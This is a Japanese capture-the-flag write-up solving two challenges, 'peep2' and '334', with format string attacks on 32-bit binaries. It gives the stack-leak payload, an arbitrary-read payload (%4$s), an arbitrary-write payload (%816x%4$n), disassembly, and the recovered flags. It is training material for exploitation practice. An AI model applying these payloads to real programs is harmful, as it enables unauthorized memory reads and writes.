---
# System prepended metadata

title: peep2

---

# peep2
format string attackで覗き見る。

```bash=
$ python -c 'import sys;sys.stdout.buffer.write(b"AAAA" + b",%p"*32)' | ./peep2
AAAA,0x80,0xf7f625c0,0x80484bf,0x41414141,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,(nil),0xffc59cdc,0x804857b,0x1secret address: 0x804a040
```

引数はstackの4番目に積まれることがわかります。
したがって, stackの4番目にsecret変数のアドレスを埋め込み, それを参照することでsecret変数のアドレスを表示させます。

```bash=
$ echo -e '\x40\xa0\x04\x08%4$s' | ./peep2 
@�taskctf{1t's_f0rm@_str1ng_4tt4ck!!}
secret address: 0x804a040
```



# 334
format string attackを用いる。

```bash=
$ python -c 'import sys;sys.stdout.buffer.write(b"AAAA" + b",%p"*32)' | ./334
AAAA,0x80,0xf7f6c5c0,0x80484bf,0x41414141,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,0x2c70252c,0x252c7025,0x70252c70,(nil),0xffcfda8c,0x804859b,0x1key address: 0x804a060
key        : 0x12345678
```

引数はstackの4番目に積まれることがわかります。

したがって, 4番目の変数をいじってみます。

問題文が334なので, `334`を埋め込んでみます。

```bash=
$ echo -e '\x60\xa0\x04\x08%330x%4$n' | ./334
`�                                                                                                                                                                                                                                                                                                                                        80
key address: 0x804a060
key        : 0x14e
```

10進数では334の0x14eが正しく埋め込まれています。
しかし, 表示されないので実行ファイルを逆アセンブルします。

```bash=
$ objdump -d -M intel ./334

./334:     file format elf32-i386

~~~ 略 ~~~

080484a8 <main>:
 80484a8:	8d 4c 24 04          	lea    ecx,[esp+0x4]
 80484ac:	83 e4 f0             	and    esp,0xfffffff0
 80484af:	ff 71 fc             	push   DWORD PTR [ecx-0x4]
 80484b2:	55                   	push   ebp
 80484b3:	89 e5                	mov    ebp,esp
 80484b5:	53                   	push   ebx
 80484b6:	51                   	push   ecx
 80484b7:	83 c4 80             	add    esp,0xffffff80
 80484ba:	e8 f1 fe ff ff       	call   80483b0 <__x86.get_pc_thunk.bx>
 80484bf:	81 c3 41 1b 00 00    	add    ebx,0x1b41
 80484c5:	8b 83 fc ff ff ff    	mov    eax,DWORD PTR [ebx-0x4]
 80484cb:	8b 00                	mov    eax,DWORD PTR [eax]
 80484cd:	83 ec 04             	sub    esp,0x4
 80484d0:	50                   	push   eax
 80484d1:	68 80 00 00 00       	push   0x80
 80484d6:	8d 85 78 ff ff ff    	lea    eax,[ebp-0x88]
 80484dc:	50                   	push   eax
 80484dd:	e8 4e fe ff ff       	call   8048330 <fgets@plt>
 80484e2:	83 c4 10             	add    esp,0x10
 80484e5:	83 ec 0c             	sub    esp,0xc
 80484e8:	8d 85 78 ff ff ff    	lea    eax,[ebp-0x88]
 80484ee:	50                   	push   eax
 80484ef:	e8 2c fe ff ff       	call   8048320 <printf@plt>
 80484f4:	83 c4 10             	add    esp,0x10
 80484f7:	83 ec 08             	sub    esp,0x8
 80484fa:	8d 83 60 00 00 00    	lea    eax,[ebx+0x60]
 8048500:	50                   	push   eax
 8048501:	8d 83 dc e5 ff ff    	lea    eax,[ebx-0x1a24]
 8048507:	50                   	push   eax
 8048508:	e8 13 fe ff ff       	call   8048320 <printf@plt>
 804850d:	83 c4 10             	add    esp,0x10
 8048510:	8b 83 60 00 00 00    	mov    eax,DWORD PTR [ebx+0x60]
 8048516:	83 ec 08             	sub    esp,0x8
 8048519:	50                   	push   eax
 804851a:	8d 83 ef e5 ff ff    	lea    eax,[ebx-0x1a11]
 8048520:	50                   	push   eax
 8048521:	e8 fa fd ff ff       	call   8048320 <printf@plt>
 8048526:	83 c4 10             	add    esp,0x10
 8048529:	8b 83 60 00 00 00    	mov    eax,DWORD PTR [ebx+0x60]
 804852f:	3d 34 03 00 00       	cmp    eax,0x334
 8048534:	75 05                	jne    804853b <main+0x93>
 8048536:	e8 3b ff ff ff       	call   8048476 <get_flag>
 804853b:	b8 00 00 00 00       	mov    eax,0x0
 8048540:	8d 65 f8             	lea    esp,[ebp-0x8]
 8048543:	59                   	pop    ecx
 8048544:	5b                   	pop    ebx
 8048545:	5d                   	pop    ebp
 8048546:	8d 61 fc             	lea    esp,[ecx-0x4]
 8048549:	c3                   	ret  
 
~~~ 略 ~~~

```

`0x804852f`番地で`0x334`とcmpされているので, 0x334=820を代入すれば良いことがわかります。

```bash=
$ echo -e '\x60\xa0\x04\x08%816x%4$n' | ./334
`�                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              80
key address: 0x804a060
key        : 0x334
flag is taskctf{wh@'2_334?}
```